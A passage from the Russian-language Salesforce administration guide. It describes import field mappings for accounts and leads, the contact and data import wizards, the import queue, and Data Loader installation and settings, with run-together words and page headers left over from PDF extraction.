Организация: Почтовый индекс для счетаПочтовый индекс для счета

Организация: Область/штат для счетаОбласть для счета

Организация: Адрес для счетаУлица для счета 1

Организация: Адрес для счетаУлица для счета 2

Организация: Адрес для счетаУлица для счета 3

Организация: СотрудникиСотрудники

Организация: ОтрасльОтрасль

Организация: ОтветственностьОтветственность

Организация: Родительская организацияРодительская организация

(Примечание. В случае отсутствия организации, имя
которой соответствует имени родительской организации,
мастер импорта создает организацию, используя данное
значение в следующем поле: «Имя организации».)
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Поля организаций

Поле SalesforceМетка для файла импорта

Организация: Местоположение организации

(Примечание. Данное поле соотносится с полем
родительской организации «Местоположение
организации».)

Местоположение родительской организации

(Примечание. Данное поле определяет местоположение
организации, указанной в поле «Родительская
организация».)

Организация: РейтингРейтинг

Организация: Годовой доходДоход

Организация: Город отправкиГород отправки

Организация: Страна отправкиСтрана отправки

Организация: Почтовый индекс отправкиПочтовый индекс отправки

Организация: Область/штат отправкиОбласть отправки

Организация: Адрес отправкиУлица отправки 1

Организация: Адрес отправкиУлица отправки 2

Организация: Адрес отправкиУлица отправки 3

Организация: Код SICКод SIC

Организация: Биржевой символБиржевой символ

Организация: Веб-сайтВеб-сайт

СМ. ТАКЖЕ:

Подготовка данных к импорту

Соотнесение полей для импорта интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Когда вы импортируете интересы, мастер импорта данных и мастер импорта интересов
кампании сопоставляют поля в вашемфайле импорта насколько возможно правильно,
ноперед завершениемимпорта вывсеравнодолжнывручнуюуточнить сопоставление.
Прежде чем импортировать интересы, рекомендуемиспользовать Excel для присвоения
перечисленных ниже меток столбцам файла импорта.

Прим.: Стандартные соотнесения ниже могут служить только ориентиром. Они
негарантируют 100% точностисоотнесенияданных, поэтомурекомендуемуточнять
соотнесения вручную посредством мастера импорта.

Поле интереса SalesforceМетка для файла импорта

Годовой доходГодовой доход

ГородГород

761

Подготовка данных к импортуНастройка и обслуживание организации Salesforce



Поле интереса SalesforceМетка для файла импорта

КомпанияКомпания

СтранаСтрана

Валюта интересаКод ISO валюты

(Примечание. Данное поле может использоваться только
для мультивалютных организаций. См. раздел «Импорт
мультивалюты» на странице 742.)

ОписаниеОписание

Эл. почтаЭл. почта

(Мастер импорта проверяет, является ли используемый
форматадресаэл. почтыдопустимым: aivanov@kompaniya.ru.)

Без рассылки по эл. почтеБез рассылки по эл. почте

(Чтобы разрешить рассылки, введите значение «0». В
противном случае, введите значение «1».)

Количество сотрудниковКоличество сотрудников

ФаксФакс

Личное имя и ФамилияПолное имя или Личное имя и Фамилия

(Примечание. При импорте имен интересов следует
использовать поле «Полное имя» или поля «Личное
имя» и «Фамилия», но не все поля одновременно.)

ОтрасльОтрасль

Подразделение интересаПодразделение интереса

(Примечание. Данное поле может быть пропущено при
назначенииподразделенияпосредствомраскрывающегося
списка в действии 1 мастера импорта. Если данное поле не
соотносится или используется раскрывающийся список
подразделений, то каждой записиназначается стандартное
подразделение ответственного за запись.)

Код интересаКод интереса

(Примечание. Коды записей чувствительны к регистру и
не могут быть изменены.)

Источник интересаИсточник интереса
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Поле интереса SalesforceМетка для файла импорта

(Примечание. Данное поле может быть пропущено при
назначении одного значения поля «Источник интереса»
всем интересам на первой странице мастера импорта.)

Статус интересаСтатус интереса

МобильныйМобильный тел.

Тел.Тел.

Почтовый индексПочтовый индекс

РейтингРейтинг

Ответственный за интересОтветственный за запись

(Примечание. Данное поле может быть пропущено при
назначении ответственности посредством правила
назначенияинтересов. Приимпортезаписейпокодузаписи
Salesforce данное поле пропускается.)

Значениеданногополяиспользуетсяпередзначениемполя
«Личное имя».

Приветствие

ОбластьОбласть

СтатусСтатус

(в связанном списке интереса «Журнал кампании»)(Только для мастера «Импорт интересов кампании».)

АдресУлица 1

АдресУлица 2

АдресУлица 3

ДолжностьДолжность

Веб-сайтВеб-сайт

При добавлении типов записей в данный список мастер импорта данных создает записи на основе стандартного типа
записи ответственного. Мастер импорта данных не обновляет поле типа записи для текущих записей.

При использовании правил назначения мастер импорта данных создает записи на основе стандартного типа записи
нового ответственного. Стандартный тип записи ответственного за очередь используется правилами назначения при
назначении записи очереди.

СМ. ТАКЖЕ:

Подготовка данных к импорту
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Импорт моих контактов из приложения Outlook или ACT!

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта контактов и
организаций:
• «Импорт личных

контактов»

Мастер «Импортмоих контактов» позволяет отдельнымпользователямимпортировать
не более 500 контактов и организаций-компаний из приложения ACT! или Outlook.

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпорта для
организаций, контактов и других объектов универсальным мастером импорта
данных. (Отдельные мастеры импорта открываются посредством маленьких
всплывающих окон, тогда как универсальный мастер открывается посредством
полнофункционального обозревателя, адресная строка которого отображает
компонент dataimporter.app.) Чтобызапуститьуниверсальныймастер, введитестроку
«Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и
выберитепункт«Мастеримпортаданных». (Доступныепараметрыопределяются
предоставленными полномочиями.)

Прежде чем запустить мастер «Импорт моих контактов», рекомендуем создать файл
экспорта и правильно подготовить данные. Чтобы импортировать данные из других
источников, выполните инструкции, указанные в разделе «Импорт моих контактов из
других источников».

Совет: Данные могут быть импортированы только в поля, доступные для
редактирования.

1. На странице личныхпараметров введите строку «Импорт» в поле «Быстрый поиск» вменю «Настройка», выберите
пункт «Импортмоихорганизацийиконтактов»ищелкните «Запуститьмастеримпорта!». Принеобходимости
воспользуйтесьссылкой«Импортмоихорганизацийиконтактов»вразделе «Инструменты» наначальнойстранице
вкладки «Организации».

Метки контактов и организаций-компаний могут быть переименованы администратором, поэтому ссылки «Импорт
моих...» могут содержать измененный текст.

2. Укажите источник данных: Act! или Outlook. Нажмите кнопку «Далее».

3. Чтобы загрузить файл, нажмите кнопку «Выбратьфайл».

Прим.: Чтобы проверить подготовленныйфайл импорта, рекомендуем импортировать небольшой тестовый
файл.

4. Чтобы проверить соотнесения полей, нажмите кнопку «Настроить соотнесения».

5. Чтобы завершить импорт, нажмите кнопку «Импортировать!».

Импорт моих контактов из других источников
Мастер «Импортмоихконтактов» позволяетимпортироватьнеболее 500 контактовисвязанныхорганизаций-компаний
практически из любого источника.

Мастер импорта данных
Мастер импорта данных позволяет легко импортировать данные для множества стандартных объектов Salesforce,
включая организации, контакты, интересы, решения, организации-лица и статьи. Данный мастер также позволяет
импортировать данные для настраиваемых объектов. С помощью мастера можно одновременно импортировать не
более 50 000 записей.
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Мастер импорта данных. Вопросы и ответы

СМ. ТАКЖЕ:

Мастер импорта данных

Что импортируется для настраиваемых объектов?

Создание файлов экспорта для мастеров импорта

Экспорт из приложения ACT!

Экспорт из приложения Outlook

Подготовка данных к импорту

Соотнесение полей для других источников данных и импорта организации

Общие сведения об импорте

Импорт моих контактов из других источников

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта контактов:
• «Чтение», «Создание»,

«Редактирование» и
«Удаление» контактов

И

«Изменение всех
данных» контактов

Мастер «Импорт моих контактов» позволяет импортировать не более 500 контактов и
связанных организаций-компаний практически из любого источника.

Прежде чем запустить мастер «Импорт моих контактов», рекомендуем создать файл
экспортаиправильноподготовитьданные. Чтобыимпортироватьданныеизприложения
ACT! или Outlook, воспользуйтесь разделом «Импорт моих контактов из приложения
Outlook или ACT!».

Файл экспорта должен использовать CSV-формат.

Совет: Данные могут быть импортированы только в поля, доступные для
редактирования.

1. На странице «Настройка» введите строку «Импорт» в поле «Быстрый поиск» в
меню «Настройка», выберите пункт «Импорт моих организаций и контактов» и
щелкните «Запустить импорт». При необходимости воспользуйтесь ссылкой
«Импортмоихорганизацийиконтактов» вразделе «Инструменты» наначальной
странице вкладки «Организации».

Администраторможетпереименовыватьметкиконтактовиорганизаций-компаний,
при этом ссылки «Импортировать...» могут иметь измененный текст.

2. Нажмите кнопку «Далее».

3. Чтобы загрузить нужныйфайл, щелкнитеВыбратьфайл.

Прим.: Чтобыубедиться, чтофайлдляимпортаправильноподготовлен, импортируйтенебольшойпроверочный
файл.

4. При необходимости измените стандартную кодировку файла.

5. Выберите тип сравнения записей (адрес эл. почты или имя) и нажмите кнопку «Далее».

6. Чтобыгарантироватьправильнуюобработку контактныхданных, просмотрите стандартныесоотнесенияиисправьте
возможные ошибки, а затем нажмите кнопку «Далее».

• Ответственность за любые импортируемые контакты или организации-компании автоматически назначается
текущему пользователю, поэтому поле «Ответственный за запись» может быть исключено из соотнесения.
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• Чтобывыполнитьперезапись данныхимеющейсяорганизации-компанииприпомощиимпортируемыхданных,
выберитепараметрПерезаписатьсуществующиезначения. Еслиимпортируемыеполя данныхимеютпустое
значение, существующие данные не удаляются.

7. Принеобходимостиотменитеимпортнесоотнесенныхполейилиразрешите объединение важныхнесоотнесенных
полей в отдельное примечание к контакту или организации-компании (доступно только при использовании версии
Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition или Developer Edition). Все несоотнесенные
импортированные данные для записи добавляются в одно примечание.

8. Чтобы завершить импорт, нажмите кнопку «Импортировать!».

СМ. ТАКЖЕ:

Мастер импорта данных

Что импортируется для настраиваемых объектов?

Создание файлов экспорта для мастеров импорта

Подготовка данных к импорту

Соотнесение полей для других источников данных и импорта организации

Общие сведения об импорте

Мастер импорта данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Импорт личных контактов»Для импорта организаций и контактов:

«Импорт интересов»Для импорта интересов:

«Импорт решений»Для импорта решений:

«Импорт настраиваемых объектов»Для импорта настраиваемых объектов:

«Изменение всех данных»Для импорта организаций-лиц своей
организации:

«Изменение всех данных»Для импорта статей:

Мастеримпорта данныхпозволяетлегкоимпортироватьданныедлямножества стандартныхобъектов Salesforce, включая
организации, контакты, интересы, решения, организации-лицаи статьи. Данныймастер такжепозволяет импортировать
данные для настраиваемыхобъектов. Спомощьюмастераможноодновременноимпортировать не более 50 000 записей.

Чтобыпроверитьподготовленныеисходныеданные, Salesforceрекомендует сначалаимпортироватьнебольшойтестовый
файл.

Мастер импорта данных поддерживается в следующих браузерах:

• Google Chrome™ 29 или более поздней версии

• Mozilla® Firefox® 23 или более поздней версии

• Microsoft® Internet Explorer® 9 или более поздней версии

• Apple® Safari® 5 или более поздней версии
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Браузер Internet Explorer 9 не поддерживает перетаскивание CSV-файлов.

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce

Мастер импорта данных. Вопросы и ответы
• Сколько записей можно импортировать?

• Какой тип объектов можно импортировать?

• Можно ли выполнять одновременные импорты?

• Как долго выполняется импорт?

Сколько записей можно импортировать?

Какой тип объектов можно импортировать?

Можно ли выполнять одновременные импорты?

Как долго выполняется импорт?

СМ. ТАКЖЕ:

Мастер импорта данных

Сколько записей можно импортировать?
Мастер импорта данных позволяет одновременно импортировать не более 50 000 записей.

СМ. ТАКЖЕ:

Мастер импорта данных. Вопросы и ответы

Какой тип объектов можно импортировать?
Мастеримпортаданныхможетиспользоватьсядляимпортаорганизаций, контактов, интересов, решенийинастраиваемых
объектов.

СМ. ТАКЖЕ:

Мастер импорта данных. Вопросы и ответы

Можно ли выполнять одновременные импорты?

Мастер импорта данных не поддерживает одновременные (или параллельные) задания на импорт данных. Прежде чем
начать следующий импорт данных, дождитесь завершения текущего импорта.

СМ. ТАКЖЕ:

Мастер импорта данных. Вопросы и ответы

767

Импорт моих контактов из приложения Outlook или ACT!Настройка и обслуживание организации Salesforce



Как долго выполняется импорт?
Время выполнения импорта посредством мастера импорта данных определяется объемом импортируемых данных. Как
правило, импорты выполняются не сразу и могут длиться несколько минут.

Администраторы Salesforce могут проверять статус импорта на странице «Пакетные загрузки». (В меню «Настройка»
введите «Задания на загрузку массива данных» в поле «Быстрый поиск», затем выберите «Задания на загрузкумассива
данных».)

Другиепользователи Salesforceмогут проверять статус импорта толькопосредствомполученного статусного сообщения
эл. почты. Кроме того, импорт может отслеживаться вручную путем проверки соответствующих вкладок Salesforce.

СМ. ТАКЖЕ:

Мастер импорта данных. Вопросы и ответы

Использование очереди импорта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Необходимые
полномочия пользователя

Для использования очереди
импорта:
• «Изменение всех

данных»

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпорта для
организаций, контактов и других объектов универсальным мастером импорта
данных. (Отдельные мастеры импорта открываются посредством маленьких
всплывающих окон, тогда как универсальный мастер открывается посредством
полнофункционального обозревателя, адресная строка которого отображает
компонент dataimporter.app.) Чтобызапуститьуниверсальныймастер, введитестроку
«Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и
выберитепункт«Мастеримпортаданных». (Доступныепараметрыопределяются
предоставленными полномочиями.)

Очередьимпортапозволяетадминистраторампросматриватьсведенияобимпортеили
отменять организационный импорт. Сведения о выполненном импорте удаляются из
очереди через три дня.

1. Введитестроку «Импорты» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Импорты».

2. Чтобы открыть страницу «Сведения об очереди импорта», щелкните имя нужного
файла импорта.

Чтобыотменитьотложенныйимпорт, щелкнитессылку «Удал.». Выполняемыйимпорт
не может быть отменен.

Ниже перечислены возможные значения для столбца «Статус».

ОписаниеСтатус

Импорт завершен с ошибками. Сведения об ошибках отправляются
соответствующему пользователю по эл. почте. Прерванные импорты

Прервано

могут быть повторены в течение трех дней; при большом количестве
повторныхпопытокимпортсохраняетсявочерединеболее 30 днейпосле
первоначальной попытки.

Импорт завершен без ошибок.Завершено
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ОписаниеСтатус

Импортобработансошибками. Сведенияобошибкахотправляютсясоответствующемупользователю
по эл. почте. Пользователь может исправить ошибки и выполнить повторный импорт.

Ошибка

Импорт добавлен в очередь, но еще не обрабатывается.Ожидание

Импорт добавлен в очередь и уже обрабатывается.Обрабатывается

СМ. ТАКЖЕ:

Мастер импорта данных

Общие сведения об импорте

Отмена импорта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Необходимые
полномочия пользователя

Для пакетного удаления
данных:
• «Изменение всех

данных»

При ошибочном импорте организаций, контактов, интересов или решений
администратор может удалить элементы, импортированные по ошибке, путем ввода
строки «Пакетное удаление записей» в поле «Быстрый поиск» в меню «Настройка» при
выборе пункта «Пакетное удаление записей».

Средство пакетного удаления записей не поддерживает настраиваемые объекты.
Настраиваемыеобъекты, импортированныепоошибкевверсии Enterprise Edition, Unlimited
Edition, Performance Edition или Developer Edition, могут быть удалены посредством
приложения Data Loader. См. раздел «Выполнение пакетных удалений» на странице 784.

СМ. ТАКЖЕ:

Мастер импорта данных

Общие сведения об импорте
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Data Loader

Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Data Loader — это клиентскоеприложениедляпакетногоимпортаили экспорта данных.
Приложение позволяет вставлять, обновлять, удалять или экспортировать записи
Salesforce.

Приложение Data Loader считывает, извлекает и загружает импортируемые данные из
CSV-файлов или путем подключения к базе знаний. Экспортируемые данные
отображаются в виде CSV-файлов.

Прим.: Если региональные настройки не поддерживают использование запятых,
воспользуйтесь символом табуляции или любым другим разделителем.

Существует два способа использования приложения Data Loader.

• Пользовательский интерфейс: позволяет определять параметры конфигурации,
CSV-файлы для импорта и экспорта, а также соотнесения полей, используемые для
соотнесения имен полей в файлах импорта с именами полей в системе Salesforce.

• Команднаястрока (только Windows): позволяетопределятьконфигурацию, источникиданных, соотнесенияидействия
над файлами. Командная строка позволяет настроить приложение Data Loader для автоматической обработки.

Отличительные особенности приложения Data Loader

• Удобный интерфейс мастера для интерактивного использования

• Альтернативный интерфейс командной строки для автоматических пакетных операций (только Windows)

• Поддержка больших файлов, содержащих не более 5 миллионов записей

• Интерактивное соотнесение полей

• Поддержка всех объектов, включая настраиваемые объекты

• Обработка данных в Salesforce и Database.com

• Подробные CSV-файлы success и error

• Встроенное средство просмотра CSV-файлов

• Поддержка операционных систем Windows XP, Windows 7 и Mac OS X

Прежде чем начать работу, просмотрите разделы ниже.

• Когда следует использовать приложение Data Loader?

• Установка приложения Data Loader

Прим.: В предыдущих версиях приложение Data Loader называлось AppExchange Data Loader и Sforce Data Loader.

СМ. ТАКЖЕ:

Шифрование полей

770

Data LoaderНастройка и обслуживание организации Salesforce



Когда следует использовать приложение Data Loader?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПриложениеData Loaderдополняетинтерактивныемастерыимпорта, доступныевменю
«Настройка». Чтобыопределитьнаиболееоптимальныйспособработы, воспользуйтесь
указанными ниже рекомендациями.

Примеры использования Data Loader

• Для загрузки 50 000 — 5 000 000 записей. ПриложениеData Loaderпозволяет загружать
не более 5 миллионов записей. Чтобы загрузить более 5 миллионов записей,
рекомендуемобратитьсякпартнеруSalesforceиливоспользоватьсясоответствующим
партнерским продуктом из каталога App Exchange.

• Для загрузки записей в объект, который не поддерживается мастерами импорта.

• Для планирования регулярных загрузок данных (например, ночные импорты).

• Для экспорта данных с целью создания резервной копии.

Примеры использования мастеров импорта
• Для загрузки менее 50 000 записей.

• Для импорта объекта, поддерживаемого мастерами импорта. Чтобы просмотреть доступные мастеры импорта и
поддерживаемые ими объекты, введите строку «Управление данными» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите пункт «Управление данными».

• Для предотвращения повторов путем загрузки записей по имени и местоположению организации, адресу эл. почты
контакта или интереса.

Дополнительную информацию о мастерах импорта см. в разделе «Общие сведения об импорте» на странице 733.
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Установка и настройка приложения Data Loader

Рекомендации по установке приложения Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
загрузки приложения Data
Loader:
• «Изменение всех

данных»

Для использования
приложения Data Loader:
• Соответствующее

полномочие
пользователя для
выполняемой операции
(например, полномочие
«Создание» для
организаций — для
добавления новых
организаций)

Требования к системе при использовании Windows

Ниже перечислены требования для использования приложения Data Loader в
операционной системе Windows.

• Microsoft® Windows® 7 или Windows XP

• 120 Мб свободного пространства на диске

• 256 Мб свободной памяти

• Java JRE 1.8

• Sun JVM 1.8

Прим.: Salesforce более не включает в комплект Java загрузчик данных для
установщика Windows.

Требования к системе при использовании Mac OS

Ниже перечислены требования для использования приложения Data Loader в
операционной системе Mac OS.

• Mac® OS X

• 120 Мб свободного пространства на диске

• 256 Мб свободной памяти

• Java JRE 1.8

• Привилегии администратора на соответствующем компьютере

Рекомендации по установке

Клиентское приложение Data Loader было доступно для загрузки в разных версиях.
Некоторые более ранние версии назывались AppExchange Data Loader или Sforce Data
Loader. Одновременно на компьютере могут быть установлены разные версии
приложения. Темнеменее, нерекомендуемустанавливатьнесколькокопийоднойитой
же версии.

Последняя версия приложения всегда доступна в системе Salesforce. Если вы уже устанавливали последнюю версию и
хотите установить ее снова, следует удалить уже установленную на компьютере версию.

Совет: Еслине удается выполнить входпосредствомкоманднойстрокипосле установкиновойверсииприложения
Data Loader, рекомендуем повторно зашифровать пароль.

Прим.: Интерфейс командной строки Data Loader поддерживается только операционной системой Windows.

Чтобы изменить исходный код, загрузите бесплатную версию приложения Data Loader на веб-узле
https://github.com/forcedotcom/dataloader.
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Рекомендации по входу

Последняя версия загрузчика данных поддерживает проверку подлинности веб-сервера OAuth как для Windows, так и для
Mac, чтодобавляетдополнительныйуровеньбезопасности. Дополнительныесведениясм. вразделеПроверкаподлинности
OAuth.

Если организация использует ограниченный диапазон IP-адресов, то вход посредством непроверенных IP-адресов
возможен только после их активации. Система Salesforce автоматически отправляет сообщение эл. почты, содержащее
ссылку для входа имаркер безопасности, который должен быть добавлен в конецпароля. Например, прииспользовании
пароля МойПароль и маркера безопасности XXXXXXXXXX вход может быть выполнен только после ввода следующей
строки: МойПарольXXXXXXXXXX.

Настройка Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Чтобы изменить стандартные параметры Data Loader, воспользуйтесь меню Settings.

1. Откройте приложение Data Loader.

2. Последовательно выберите пунктыНастройки > Параметры.

3. При необходимости заполните поля ниже.

ОписаниеПоле

Данное поле определяет размер
инкрементов для обработки записей
Salesforce при выполнении единичной
операции вставки, обновления,
обновления и вставки или удаления.
Максимальное значение — 200.

Batch size

Рекомендуем использовать значение от
50 до 100.

При наличиифлажка Use Bulk API
максимальное значение не может
превышать 10 000.

Чтобы вставлять пустые соотнесенные
значения как нулевые при выполнении

Insert null values

операций над данными, установите
данныйфлажок. Обратите внимание,
что при наличии данного флажка
приложение Data Loader перезаписывает
любые текущие данные в соотнесенных
полях при обновлении записей.

Данный параметр недоступен при
наличиифлажка Use Bulk API.При
обновлении записей посредством Bulk
API пустые значения пропускаются.
Чтобы задать полю нулевое значение
при наличиифлажка Use Bulk API,
воспользуйтесь значением #N/A.
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ОписаниеПоле

Введите код правила назначения, которое должно
использоваться для операций вставки, обновления или

Assignment rule

обновления и вставки. Данный параметр применяется к
операциямвставки, обновленияилиобновленияивставки
обращений и интересов. Кроме того, данный параметр
применяется к операциям обновления организаций при
наличииправилназначениятерриторийдляорганизаций.
Правило назначения переопределяет значения поля
«Ответственный» в CSV-файле.

Введите URL-адреснужного сервера Salesforce. Например,
чтобы загрузить данные в безопасную среду, введите

Server host

следующий URL-адрес:
https://test.salesforce.com.

По умолчанию система Salesforce восстанавливает
URL-адрес, указанныйвполеServer host, после входа.

Reset URL on Login

Чтобы отключить автоматическое восстановление,
снимите данныйфлажок.

Сжатиеповышаетпроизводительностьприложения Data
Loader; по умолчанию включено. Сжатие может быть

Compression

отключено для отладки основных сообщений SOAP.
Чтобы отключить сжатие, установите данныйфлажок.

Введите количество секунд, по истечении которого
приложение Data Loader должно возвращать ошибку в
случае отсутствия ответа сервера.

Timeout

Данноеполеопределяетразмеринкрементовдлявозврата
записей Salesforceпривыполненииединичнойоперации

Query request size

экспорта или запроса. Максимальное значение — 2 000
записей. Большие значения могут повысить
производительность, носнизитьобъемсвободнойпамяти
клиента.

Чтобы создавать файлы success и error при экспорте
данных, установите данныйфлажок.

Generate status files for exports

Чтобыоткрыватьлюбыефайлытольковкодировке UTF-8,
установите данныйфлажок.

Read all CSVs with UTF-8 encoding

Чтобы записывать файлы только в кодировке UTF-8,
установите данныйфлажок.

Write all CSVs with UTF-8 encoding

Чтобы включить поддержку форматов дд/ММ/гггг и
дд/ММ/гггг ЧЧ:мм:сс, установите данныйфлажок.

Use European date format

Чтобыусекать данные, загружаемыевполя Salesforce типа
«Эл. почта», «Раскрывающийсясписок (сомножественным

Allow field truncation

выбором)», «Телефон», «Раскрывающийся список»,
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ОписаниеПоле

«Текст» и «Текст (зашифрованный)», установите данный
флажок.

Приложение Data Loader 14.0 или более ранней версии
усекает только слишком большие значения для полей
данных типов. Приложение Data Loader 15.0 или более
поздней версии отменяет операцию загрузки, если
заданное значение слишком велико.

Установка данного флажка определяет необходимость
использования предыдущего алгоритма (усечения) в
приложении Data Loader 15.0 или более поздней версии
взаменнового алгоритма. Данныйфлажокустановленпо
умолчанию, но не поддерживается приложением Data
Loader 14.0 или более ранней версии.

Данныйпараметр недоступенприналичиифлажка Use
Bulk API. Таким образом, операция загрузки не
выполняется в строке, содержащей слишком большое
значение для данного поля.

Чтобы использовать Bulk API для вставки, обновления,
обновления и вставки, удаления или необратимого

Use Bulk API

удалениязаписей, установитеданныйфлажок. Интерфейс
Bulk APIподдерживаетасинхроннуюзагрузкуилиудаление
большого количества записей. Благодаря выполнению
параллельной обработки и сокращению количества
полныхобходовсети, интерфейс Bulk API работает гораздо
быстрее, чемстандартныйинтерфейсAPIнаоснове SOAP.

Внимание: При настройке Data Loader для
использования Bulk API можно удалять записи
без возможности восстановления. Помните, что в
таком случае записи удаляются сразу и их нельзя
будет восстановить из «Корзины».

Чтобы использовать последовательную, а не
параллельную обработку Bulk API, установите данный

Enable serial mode for Bulk API

флажок.Параллельная обработка может инициировать
конфликт базы данных. При наличии серьезного
конфликта загрузка может быть прервана. Режим
последовательной обработки гарантирует поэтапную
обработку пакетов. Обратите внимание, что
использование данного параметра может значительно
увеличить время обработки загружаемых данных.

Данныйпараметр доступен только приналичиифлажка
Use Bulk API.
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ОписаниеПоле

Чтобы использовать Bulk API для загрузки архивных
файлов, содержащих двоичные вложения (например,

Upload Bulk API Batch as Zip File

содержимое Salesforce CRM Content), установите данный
флажок.

Данныйпараметр доступен только приналичиифлажка
Use Bulk API.

Чтобы выбрать стандартный часовой пояс, заполните
данное поле.

Данное значение используется в том случае, если дата не
содержит часового пояса.

Time Zone

• По умолчанию приложение Data Loader использует
часовойпояс, выбранныйна локальном компьютере.

• При вводе недопустимого значения используется
время по Гринвичу (данныйфакт регистрируется в
журнале Data Loader).

Допустимым считается любой код часового пояса,
который может быть передан методу Java
getTimeZone(java.lang.String). Значениеможет
содержать полное имя (например,
America/Los_Angeles) или настраиваемый код
(например, GMT-8:00).

Имя узла прокси-сервера (при наличии).Proxy host

Порт прокси-сервера.Proxy port

Имя пользователя для проверки подлинности на
прокси-сервере.

Proxy username

Пароль для проверки подлинности на прокси-сервере.Proxy password

Имя домена Windows для проверки подлинности NTLM.Proxy NTLM domain

Данное поле позволяет продолжить выполнение
последней неудачной операции со строки, в которой
завершилосьвыполнениепоследнейуспешнойоперации.

Start at row

4. Чтобы сохранить параметры, нажмите кнопку «OK».

СМ. ТАКЖЕ:

Алгоритм Data Loader с включенным Bulk API

Настройка приложения Data Loader для использования Bulk API
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Алгоритм Data Loader с включенным Bulk API

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ИнтерфейсBulk API, включенныйвприложении Data Loader, позволяет ускорить загрузку
и удаление большого количества записей по сравнению со стандартным интерфейсом
API на основе SOAP. Однако, при включении интерфейса Bulk API может измениться
алгоритм приложения Data Loader. Основное отличие заключается в доступности
функции необратимого удаления пользователям с соответствующими полномочием и
лицензией. См. раздел «Настройка Data Loader» на странице 773.

Ниже перечислены параметры, которые недоступны в меню Settings > Settings при
наличиифлажка Use Bulk API.

Insert null values
Данныйпараметрразрешаетприложению Data Loader вставлятьпустыесоотнесенные
значения в качестве нулевых при выполнении операций над данными, если
интерфейсBulk APIотключен. ПриобновлениизаписейпосредствомBulk APIпустые
значенияпропускаются. Чтобызадатьполю нулевое значениеприналичиифлажка Use Bulk API, воспользуйтесь
значением #N/A.

Allow field truncation
Данный параметр указывает приложению Data Loader на необходимость усечения данных некоторых типов полей,
еслиинтерфейсBulk APIотключен. Приналичиифлажка Use Bulk API операция загрузкиневыполняется в строке,
содержащей слишком большое значение для данного поля.

СМ. ТАКЖЕ:

Настройка Data Loader

Настройка приложения Data Loader для использования Bulk API

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Интерфейс Bulk API поддерживает асинхронную загрузку или удаление большого
количества записей. Благодаря выполнению параллельной обработки и сокращению
количества полных обходов сети, интерфейс Bulk API работает гораздо быстрее, чем
интерфейс API на основе SOAP. По умолчанию приложение Data Loader использует
интерфейс API на основе SOAP для обработки записей.

Чтобы настроить приложение Data Loader на использование интерфейса Bulk API для
вставки, обновления, обновленияивставки, удаленияилинеобратимогоудалениязаписей,
выполните указанные ниже действия.

1. Откройте приложение Data Loader.

2. Последовательно выберите пункты Settings > Settings.

3. Установите флажок Use Bulk API.

4. Нажмите кнопку «OK».

Прим.:

• При необходимости установите флажок Enable serial mode for Bulk API. Параллельная обработка
можетинициироватьконфликтбазыданных. Приналичиисерьезногоконфликта загрузкаможетбытьпрервана.
Режим последовательной обработки гарантирует поэтапную обработку пакетов. Обратите внимание, что
использование данного параметра может значительно увеличить время обработки загружаемых данных.
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• Внимание!При настройке Data Loader для использования Bulk API можно удалять записи без возможности
восстановления. Помните, чтовтакомслучаезаписиудаляютсясразуиихнельзябудетвосстановитьиз «Корзины».

СМ. ТАКЖЕ:

Настройка Data Loader

Использование приложения Data Loader

Типы данных, поддерживаемые приложением Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Ниже перечислены типы данных, поддерживаемые приложением Data Loader.

Base64
Строка пути кфайлу (преобразуетфайл в Base64-массив). Поля Base64 используются
только для вставки или обновления вложений и Salesforce CRM Content.
Дополнительнуюинформациюсм. в разделах «Загрузка вложений»на странице 784
и «Загрузка содержимого посредством приложения Data Loader» на странице 785.

Логический

